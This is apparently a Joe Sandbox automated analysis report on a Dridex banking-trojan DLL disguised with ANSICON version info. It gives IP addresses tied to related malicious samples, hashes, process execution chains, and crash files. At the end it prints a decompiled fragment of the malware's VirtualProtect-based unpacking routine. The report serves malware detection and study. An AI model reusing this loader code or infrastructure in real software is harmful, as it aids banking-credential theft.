Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.bank.troj.evad.winDLL@8/4@0/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 96.1% (good quality ratio 92.2%) Quality average: 80.3% Quality standard deviation: 26.2%
HCA Information:	Successful, ratio: 82% Number of executed functions: 27 Number of non-executed functions: 7
Cookbook Comments:	Adjust boot time Enable AMSI Sleeps bigger than 120000ms are automatically reduced to 1000ms Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, WerFault.exe, wermgr.exe, backgroundTaskHost.exe, svchost.exe

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
159.203.93.122	BJKPKLUPiD.dll	Get hash	malicious	Browse
	RuRxpMUPN7.dll	Get hash	malicious	Browse
	u3A1eWFqLE.dll	Get hash	malicious	Browse
	gsG7jGFk3I.dll	Get hash	malicious	Browse
	IHUVPJ4hXu.dll	Get hash	malicious	Browse
	CTkT1fRtQv.dll	Get hash	malicious	Browse
	BJKPKLUPiD.dll	Get hash	malicious	Browse
	RuRxpMUPN7.dll	Get hash	malicious	Browse
	qMus8K6kXx.dll	Get hash	malicious	Browse
	gsG7jGFk3I.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
50.116.27.97	BJKPKLUPiD.dll	Get hash	malicious	Browse
	RuRxpMUPN7.dll	Get hash	malicious	Browse
	u3A1eWFqLE.dll	Get hash	malicious	Browse
	gsG7jGFk3I.dll	Get hash	malicious	Browse
	IHUVPJ4hXu.dll	Get hash	malicious	Browse
	CTkT1fRtQv.dll	Get hash	malicious	Browse
	BJKPKLUPiD.dll	Get hash	malicious	Browse
	RuRxpMUPN7.dll	Get hash	malicious	Browse
	qMus8K6kXx.dll	Get hash	malicious	Browse
	gsG7jGFk3I.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
94.247.168.64	BJKPKLUPiD.dll	Get hash	malicious	Browse
	RuRxpMUPN7.dll	Get hash	malicious	Browse
	u3A1eWFqLE.dll	Get hash	malicious	Browse
	gsG7jGFk3I.dll	Get hash	malicious	Browse
	IHUVPJ4hXu.dll	Get hash	malicious	Browse
	CTkT1fRtQv.dll	Get hash	malicious	Browse
	BJKPKLUPiD.dll	Get hash	malicious	Browse
	RuRxpMUPN7.dll	Get hash	malicious	Browse
	qMus8K6kXx.dll	Get hash	malicious	Browse
	gsG7jGFk3I.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse
	Ce28zthEz1.dll	Get hash	malicious	Browse
	15sV4KdrCN.dll	Get hash	malicious	Browse
	Yvl2Gke3pv.dll	Get hash	malicious	Browse
	1UmI5PSg3K.dll	Get hash	malicious	Browse
	9eYYTTlVYi.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DIGITALOCEAN-ASNUS	BJKPKLUPiD.dll	Get hash	malicious	Browse	159.203.93.122
	RuRxpMUPN7.dll	Get hash	malicious	Browse	159.203.93.122
	u3A1eWFqLE.dll	Get hash	malicious	Browse	159.203.93.122
	gsG7jGFk3I.dll	Get hash	malicious	Browse	159.203.93.122
	IHUVPJ4hXu.dll	Get hash	malicious	Browse	159.203.93.122
	CTkT1fRtQv.dll	Get hash	malicious	Browse	159.203.93.122
	BJKPKLUPiD.dll	Get hash	malicious	Browse	159.203.93.122
	RuRxpMUPN7.dll	Get hash	malicious	Browse	159.203.93.122
	qMus8K6kXx.dll	Get hash	malicious	Browse	159.203.93.122
	gsG7jGFk3I.dll	Get hash	malicious	Browse	159.203.93.122
	15sV4KdrCN.dll	Get hash	malicious	Browse	159.203.93.122
	Ce28zthEz1.dll	Get hash	malicious	Browse	159.203.93.122
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	159.203.93.122
	1UmI5PSg3K.dll	Get hash	malicious	Browse	159.203.93.122
	9eYYTTlVYi.dll	Get hash	malicious	Browse	159.203.93.122
	Ce28zthEz1.dll	Get hash	malicious	Browse	159.203.93.122
	15sV4KdrCN.dll	Get hash	malicious	Browse	159.203.93.122
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	159.203.93.122
	1UmI5PSg3K.dll	Get hash	malicious	Browse	159.203.93.122
	9eYYTTlVYi.dll	Get hash	malicious	Browse	159.203.93.122
LINODE-APLinodeLLCUS	BJKPKLUPiD.dll	Get hash	malicious	Browse	50.116.27.97
	RuRxpMUPN7.dll	Get hash	malicious	Browse	50.116.27.97
	u3A1eWFqLE.dll	Get hash	malicious	Browse	50.116.27.97
	gsG7jGFk3I.dll	Get hash	malicious	Browse	50.116.27.97
	IHUVPJ4hXu.dll	Get hash	malicious	Browse	50.116.27.97
	CTkT1fRtQv.dll	Get hash	malicious	Browse	50.116.27.97
	BJKPKLUPiD.dll	Get hash	malicious	Browse	50.116.27.97
	RuRxpMUPN7.dll	Get hash	malicious	Browse	50.116.27.97
	qMus8K6kXx.dll	Get hash	malicious	Browse	50.116.27.97
	gsG7jGFk3I.dll	Get hash	malicious	Browse	50.116.27.97
	15sV4KdrCN.dll	Get hash	malicious	Browse	50.116.27.97
	Ce28zthEz1.dll	Get hash	malicious	Browse	50.116.27.97
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	50.116.27.97
	1UmI5PSg3K.dll	Get hash	malicious	Browse	50.116.27.97
	9eYYTTlVYi.dll	Get hash	malicious	Browse	50.116.27.97
	Ce28zthEz1.dll	Get hash	malicious	Browse	50.116.27.97
	15sV4KdrCN.dll	Get hash	malicious	Browse	50.116.27.97
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	50.116.27.97
	1UmI5PSg3K.dll	Get hash	malicious	Browse	50.116.27.97
	9eYYTTlVYi.dll	Get hash	malicious	Browse	50.116.27.97
GLESYS-ASSE	BJKPKLUPiD.dll	Get hash	malicious	Browse	94.247.168.64
	RuRxpMUPN7.dll	Get hash	malicious	Browse	94.247.168.64
	u3A1eWFqLE.dll	Get hash	malicious	Browse	94.247.168.64
	gsG7jGFk3I.dll	Get hash	malicious	Browse	94.247.168.64
	IHUVPJ4hXu.dll	Get hash	malicious	Browse	94.247.168.64
	CTkT1fRtQv.dll	Get hash	malicious	Browse	94.247.168.64
	BJKPKLUPiD.dll	Get hash	malicious	Browse	94.247.168.64
	RuRxpMUPN7.dll	Get hash	malicious	Browse	94.247.168.64
	qMus8K6kXx.dll	Get hash	malicious	Browse	94.247.168.64
	gsG7jGFk3I.dll	Get hash	malicious	Browse	94.247.168.64
	15sV4KdrCN.dll	Get hash	malicious	Browse	94.247.168.64
	Ce28zthEz1.dll	Get hash	malicious	Browse	94.247.168.64
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	94.247.168.64
	1UmI5PSg3K.dll	Get hash	malicious	Browse	94.247.168.64
	9eYYTTlVYi.dll	Get hash	malicious	Browse	94.247.168.64
	Ce28zthEz1.dll	Get hash	malicious	Browse	94.247.168.64
	15sV4KdrCN.dll	Get hash	malicious	Browse	94.247.168.64
	Yvl2Gke3pv.dll	Get hash	malicious	Browse	94.247.168.64
	1UmI5PSg3K.dll	Get hash	malicious	Browse	94.247.168.64
	9eYYTTlVYi.dll	Get hash	malicious	Browse	94.247.168.64

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_259aeac81dd625d6a234674e48313673fc16336_160cf2be_05e4b6b9\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	9236
Entropy (8bit):	3.76307669365411
Encrypted:	false
SSDEEP:	96:uvFFzagV9XyAy9hAlQC5Q56tpXIQcQ6c6n+hcEZcw3P+a+z+HbHgX6eugtYsaV9S:PgagLHUb+hjbjUq/u7seS274Itb2w
MD5:	8EA89827A7C91C74F16454CD1583B219
SHA1:	F646BAA6237FC936E695E804CD7DB2EE058F19F6
SHA-256:	FF71BBF2019EF2FE118A8C5AD9CF28B87B065D09435CA41628AF7CB9276B3184
SHA-512:	B9C224211B8365DB877B0D4788945A0D44D21A0752EB1BFB78E78BAAF219C99E0E070FFF20EE77D703941A9650306A23A33B92B755B5523F576B71FE15D4944C
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.3.3.4.2.6.6.0.1.3.1.8.2.4.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.f.4.9.4.6.e.b.-.d.6.5.b.-.4.b.b.c.-.b.e.5.2.-.0.9.3.8.9.e.2.4.8.e.e.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.b.9.5.d.f.7.5.-.c.2.d.0.-.4.f.3.f.-.8.e.9.0.-.f.b.e.1.6.2.7.d.8.5.9.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.f.c.-.0.0.0.1.-.0.0.1.b.-.0.a.8.c.-.6.a.b.8.6.5.3.5.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.0.4././.0.4.:.1.0.:.5.0.:.5.4.!.0.!.l.o.a.d.d.l.l.3.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA9D8.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Apr 19 21:51:01 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	24442
Entropy (8bit):	2.705625380028496
Encrypted:	false
SSDEEP:	96:5kJ8NGYCmz4I7R1gAaqztti1+WDckhFrZOiHBof83ln4WInWIdoZwI4irIBDqFMp:/Jz77R1Naq3mP4uBofg9AnicBDEMHWWx
MD5:	0E56582E070BE327B983F5576BF5EEFC
SHA1:	C37F2FBE91352D492E1414F14B79BC432C6781E4
SHA-256:	11D6155EE7A0B35D150E8F05C8C4C66BF83F641A14A719B20D8141421EB33B05
SHA-512:	E43E15BAF83C2290BE60A49F265375F92DE76AF2653F4D3F1699E67C09DF7827CDEC2E2F2D49C813D5B8CBEF73EAAFC97C61F968A19CE8672BE4EE055B427A18
Malicious:	false
Reputation:	low
Preview:	MDMP....... .......E.}`...................U...........B......,.......GenuineIntelW...........T.............}`.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAEBB.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.6936080688136395
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiNl6MAc6YrySUjEW1gmfnS1D+pBe89bJksfsjm:RrlsNi/6MAc6YeSUjESgmfnS1SJXf1
MD5:	0F9E519BF14EC034CF30C553938D3E40
SHA1:	35B9E0526F5F462BC45E6929BA83493A7BC5205D
SHA-256:	9258F8E44E279FF557C93F7BA164E1462356F4F55C1C32303F3EACF192B9FC72
SHA-512:	33F530ECFEDBB1D8821FB8CAE2CE8E6C7149A4D2DD60C49414491BBD1D7CA1B496D1DAB2703AAF938F545E9BA9FF8BD2723266DC71ABFF53754D61E4FB0E466F
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.0.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB1AA.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4658
Entropy (8bit):	4.434914226771162
Encrypted:	false
SSDEEP:	48:cvIwSD8zsVJgtWI96MrWSC8Bb8fm8M4JVMFO+q8v7bKcQIcQw6Urld:uITfvlNSNKJJKHKkw68ld
MD5:	491BBC2C92D5BFBBDFED7C5585353D01
SHA1:	87771873E6088D218D864C6758B52A34D8CC6D79
SHA-256:	3B0FF6C244C9A89701A9EE4E7A4ABE6CFC6A8AEE1F423BC68EDDAC890A80F9EB
SHA-512:	32700A5A3526A9E603363D5AC93DE106A38242891528EA36FDECEE91F8A4BAD26BCE47EC4911191A085E3E1F74FDA3F1AC86E61DA1401559466798D1FF4DF9B8
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="953701" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.5485592804649535
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	IHUVPJ4hXu.dll
File size:	163840
MD5:	5b10d906d4ad48a9910a8cc551b2e697
SHA1:	9995dadc015c2003cdfe34c081a5f185aadb6263
SHA256:	61f03287190b9ce1e91fab24eddc302f411813ac49230d2e99335952eb3addc0
SHA512:	a31772c3ecbb7289e6fc43e81314c426dcc7671e1b9ee664ff31dbca2d921e9cab1f09d744661d11a70952e4278642769a98a9804314159c47cfa709f5197d20
SSDEEP:	3072:xWX2IjzzpM+PncPeY8+O3AU3HRIHPh3UGfXy0BHNkIv/ScbQQ2y0iNM0+y+N0tc:x42IfzNPnoeY8j3AsHGPXpHNj6rByM3
File Content Preview:	MZ......................@...........................................[}..[}..[}..[}...}..@.2..\|..=.T..}....S.z\|..@..._}..\|...T\|..V/C..\|..V/E..\|..Rich[}..............PE..L.....}`...........!.........f.......D.......P....@....................................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x424410
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x607DE4E1 [Mon Apr 19 20:15:29 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	b84fd50f2389cfd5bd83e2cf062986d1

Entrypoint Preview

Instruction
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
sub eax, 00002233h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
cmp edx, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
je 00007F73BCED66EBh
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1001	0x0	.text
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2768c	0x59	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d000	0x14c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x25040	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x25000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2356e	0x23600	False	0.761560015459	data	7.55877156847	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x25000	0x2842	0x2a00	False	0.791573660714	data	7.53164670284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x28000	0x3588	0x1600	False	0.783380681818	MMDF mailbox	7.34765964879	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2c000	0x340	0x400	False	0.390625	data	2.73456990044	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2d000	0x14c	0x200	False	0.62890625	data	4.21021599876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x2c060	0x2e0	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, OpenSemaphoreW, LoadLibraryExA, GetModuleHandleW, OutputDebugStringA, GetProfileSectionW
OPENGL32.dll	glTexSubImage1D
ole32.dll	CreateStreamOnHGlobal
USER32.dll	TranslateMessage
ADVAPI32.dll	RegLoadAppKeyW

Version Infos

Description	Data
LegalCopyright	Freeware
InternalName	ANSI32
FileVersion	1.66
CompanyName	Jason Hood
Comments	http://ansicon.adoxa.vze.com/
ProductName	ANSICON
ProductVersion	1.66
FileDescription	ANSI Console
OriginalFilename	ANSI32.dll
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6908 Parent PID: 5872

General

Start time:	23:48:23
Start date:	19/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll'
Imagebase:	0x1150000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6916 Parent PID: 6908

General

Start time:	23:48:23
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',#1
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6948 Parent PID: 6916

General

Start time:	23:48:24
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',#1
Imagebase:	0x280000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7032 Parent PID: 6908

General

Start time:	23:48:55
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',ReadLogRecord
Imagebase:	0x280000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000004.00000002.1042008848.000000006EEB1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 1424 Parent PID: 6908

General

Start time:	23:50:56
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6908 -s 416
Imagebase:	0x850000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 6908 Parent PID: 5872 loaddll32.exeCOMMON

Executed Functions

Function 02CE2213, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E02CE2213(long __ebx, long __edi, void* __esi, intOrPtr* _a4) {
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				void* _v72;
				char* _v76;
				int _v80;
				long _v84;
				long _v88;
				DWORD* _v92;
				intOrPtr _v96;
				int _v100;
				intOrPtr* _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				void* _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				char* _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				int _v168;
				char* _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				char _v184;
				intOrPtr* _t136;
				int _t143;
				int _t151;
				int _t155;
				intOrPtr _t170;
				int _t177;
				void* _t226;
				intOrPtr _t229;
				intOrPtr _t234;
				void* _t236;
				intOrPtr* _t240;
				intOrPtr _t247;
				intOrPtr _t251;
				DWORD* _t264;
				void* _t268;
				intOrPtr* _t271;
				intOrPtr* _t272;

				_t136 = _a4;
				_v20 = 0;
				_t236 =  *((intOrPtr*)(_t136 + 0x40));
				 *0x2ce4418 = 1;
				asm("movaps xmm0, [0x2ce3010]");
				asm("movups [0x2ce4428], xmm0");
				_v48 = _t136;
				_v52 =  *((intOrPtr*)(_t136 + 0x64));
				_v56 =  *((intOrPtr*)(_v48 + 8));
				_v184 = _t236;
				_v60 =  *((intOrPtr*)(_v48 + 0x50));
				_v180 = _v52;
				_v176 = 4;
				_v172 =  &_v20;
				_v64 =  *((intOrPtr*)(_t136 + 0x60));
				_v68 = 4;
				_v72 = _t236;
				_v76 =  &_v20;
				_t143 = VirtualProtect(__esi, __edi, __ebx, _t264); // executed
				_v80 = _t143;
				_v184 = _v72;
				_v180 = 0;
				_v176 =  *((intOrPtr*)(_v48 + 0x64));
				_v84 = 0x400;
				_v88 = 2;
				_v92 =  &_v20;
				_v96 = 0;
				E02CE2569();
				E02CE1D28(_v72,  *((intOrPtr*)(_v48 + 0xc)), _v56);
				E02CE2569( *((intOrPtr*)(_v48 + 0xc)), 0, _v56);
				_t151 = VirtualProtect(_v72, 0x400, 2, _v92); // executed
				_t271 = _t268 - 0x88;
				_t226 = _v72;
				_t251 =  *((intOrPtr*)(_t226 + 0x3c));
				_v100 = _t151;
				_v104 = _v72 + 0x3c;
				_v108 = _t226;
				_v112 = _t251;
				if(_t251 != 0) {
					_v108 = _v72 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_v144 = _v108;
				if(_v60 != 0) {
					_v148 = 0;
